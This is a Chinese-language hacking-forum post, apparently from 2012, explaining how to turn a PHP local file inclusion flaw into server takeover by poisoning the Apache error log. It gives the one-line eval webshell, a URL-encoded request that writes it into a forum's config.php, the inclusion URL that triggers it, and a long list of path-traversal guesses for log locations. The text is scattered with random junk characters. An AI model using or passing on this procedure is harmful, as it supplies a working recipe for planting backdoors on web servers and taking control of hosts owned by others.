找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1957|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 7 o, o& ^7 D& f* s7 ?7 A5 ]5 T3 b

% k- L. X4 a/ Q& z9 V& ?: e- V5 b: _比如还是这句一句话木马
: J1 z" ^/ Y  R2 Z. ^6 b( D<?eval($_POST[cmd]);?>   7 z+ [5 N; o0 h- O; @

3 K% t7 m! w( N. h  r到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
% |. ?* b. ?' R( S3 sfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 ; @! x4 f% h( E  z7 ^

9 n2 m' Y1 F" {<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
! M: }# Q- {4 }fclose($fp);?>   //在config.php里写入一句木马语句 ( Q& ^- X9 a3 X+ z$ s/ d) X
% ~' E$ b+ I  n3 W/ W' P
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
1 v" b$ a& T0 s; n# e# P7 w1 J* e" Q转换为 ) f! I0 C$ h! y: C- ?
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
( D; K: p* ^& q( W. \- Yconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp . @# P; i4 B7 v
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B - Z! N0 ?' `8 h$ s8 J
fclose%28%24fp%29%3B%3F%3E
. k4 {- ~/ m! S我们提交 3 B0 p" ^, J, K- }$ x7 `
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 1 G5 G: M- z6 A" t
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp 0 R/ h9 n/ W2 l: m- B" F9 h! N
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
! c2 P0 s, t+ F+ i8 j& {" b% M) l4 ~cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E / s7 Z" K0 j. F4 ~7 ^
' n" [; C9 X" u
这样就错误日志里就记录下了这行写入webshell的代码。 1 R: ~1 v- T4 L6 T/ ^5 o
我们再来包含日志,提交
* v, N, W- p9 a% P; M  fhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log & F9 X, z4 J0 ]5 ^4 ^; }
3 o/ [4 {, e4 t0 z
这样webshell就写入成功了,config.php里就写入一句木马语句
4 F4 q& N9 [% x, \OK.
3 I8 E" i" e8 V% \' Ahttp://www.xxx.com/forum/config.php这个就成了我们的webshell
2 n0 s) X, E5 ]) k1 d直接用lanker的客户端一连,主机就是你的了。
$ _# F# N. ?. K' a# M; a2 T8 s; L, N" A2 |8 F) K: B8 r5 c
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
) y5 _8 S9 @/ w# S+ ?3 E4 b$ R2 V+ K  i2 s( Z- ~
其他的日志路径,你可以去猜,也可以参照这里。 5 m& B! i3 a: O7 L" b" {6 A
../../../../../../../../../../var/log/httpd/access_log / V4 I0 q/ P. a
../../../../../../../../../../var/log/httpd/error_log
& X/ m  }- _5 h2 k3 G. x) F, ^../apache/logs/error.log * X7 C  r4 Y: k2 u9 c# |
../apache/logs/access.log ( M% w( p' R: j- _  g6 @
../../apache/logs/error.log
) T3 K; j) @' b* x. K" p../../apache/logs/access.log
! B! B1 w3 S8 a' \../../../apache/logs/error.log
$ u! O6 I( H& Y. y  [. Z  k2 \( j../../../apache/logs/access.log
# P  o) h. C0 J! i, N& ^! i4 @1 _2 O../../../../../../../../../../etc/httpd/logs/acces_log
3 U+ Q* D- ~8 Y../../../../../../../../../../etc/httpd/logs/acces.log , s* ]8 s- W; p. m# y
../../../../../../../../../../etc/httpd/logs/error_log 8 o" }7 o) r3 G0 ?
../../../../../../../../../../etc/httpd/logs/error.log ; O0 u4 o5 R7 S- Q: M& o/ `
../../../../../../../../../../var/www/logs/access_log 9 e- m3 n3 N5 f9 K& U. e
../../../../../../../../../../var/www/logs/access.log
& _4 z; m" k+ c../../../../../../../../../../usr/local/apache/logs/access_log
7 k4 D; e5 Y) y3 W../../../../../../../../../../usr/local/apache/logs/access.log ; m" P* q6 x5 \% a6 Y
../../../../../../../../../../var/log/apache/access_log $ k# a/ S+ Y8 K4 n; {, l  ^) P) d
../../../../../../../../../../var/log/apache/access.log
6 o: {" Z$ s" t$ x6 I7 ?9 K6 c../../../../../../../../../../var/log/access_log # L& N6 `! L1 v2 r6 d& i; K, s1 R
../../../../../../../../../../var/www/logs/error_log 5 b: g& R2 w; E3 D8 {6 l
../../../../../../../../../../var/www/logs/error.log 3 I* D& a% R9 X. M) ~7 J7 p
../../../../../../../../../../usr/local/apache/logs/error_log
+ B. O( ]6 \5 o7 n- r' q  a+ _../../../../../../../../../../usr/local/apache/logs/error.log ' @6 x5 ]1 R- |5 R6 Y- y( x
../../../../../../../../../../var/log/apache/error_log
0 f4 q4 X. t( o8 _8 R3 H4 C, e../../../../../../../../../../var/log/apache/error.log 7 G" m2 {: S6 e9 Q: A  L
../../../../../../../../../../var/log/access_log
8 Y5 ~" ^7 b8 J../../../../../../../../../../var/log/error_log , q; V8 A9 N& E/ K$ d* I- u% g
/var/log/httpd/access_log      
; J& B! o+ O5 P! {( g& z6 u/var/log/httpd/error_log     
5 ]# S3 d7 o' o" d5 j../apache/logs/error.log     
1 z5 ?9 }+ D2 I$ c../apache/logs/access.log 7 n2 p1 H& I$ _& Q
../../apache/logs/error.log " ?7 |# R" }1 E) F) P* V
../../apache/logs/access.log ! N+ e- {- V( U7 H/ ]: e& w# K' y
../../../apache/logs/error.log 0 w7 |' t* _* D! g8 U" t
../../../apache/logs/access.log
* T7 j1 D" D6 f6 ]5 q/etc/httpd/logs/acces_log 3 U% [" o% E& l7 ^
/etc/httpd/logs/acces.log
1 `2 ~3 O4 k  B5 x7 }" b7 M( f5 H/etc/httpd/logs/error_log 8 m: @: f: k; W) n
/etc/httpd/logs/error.log
) E! h7 e# W1 @& O7 l/var/www/logs/access_log / k  I, z  D" P$ B& T! R0 d
/var/www/logs/access.log
; R" Z# c# m9 C$ p' [! f/usr/local/apache/logs/access_log   \8 e. j1 r/ m4 s4 C. d# P
/usr/local/apache/logs/access.log
- \+ [: h9 ]" B: v: g- O/ b/var/log/apache/access_log
; S4 k5 W  S  T/var/log/apache/access.log
7 r0 z5 T; q3 F1 F/ T/var/log/access_log 3 x) D+ `1 c: Z0 {4 X
/var/www/logs/error_log 1 {, p" H( `0 S; |9 l0 G8 B; F
/var/www/logs/error.log * q+ C: t" ^+ V
/usr/local/apache/logs/error_log % B! o$ d* d# ]* p2 [% h( J
/usr/local/apache/logs/error.log
. C* a8 i8 K. K* ?/var/log/apache/error_log & s6 @% U$ _/ b: Y/ z& b
/var/log/apache/error.log
* T- I4 j6 R- s, n7 j/var/log/access_log + s* @% T5 M9 B: x
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表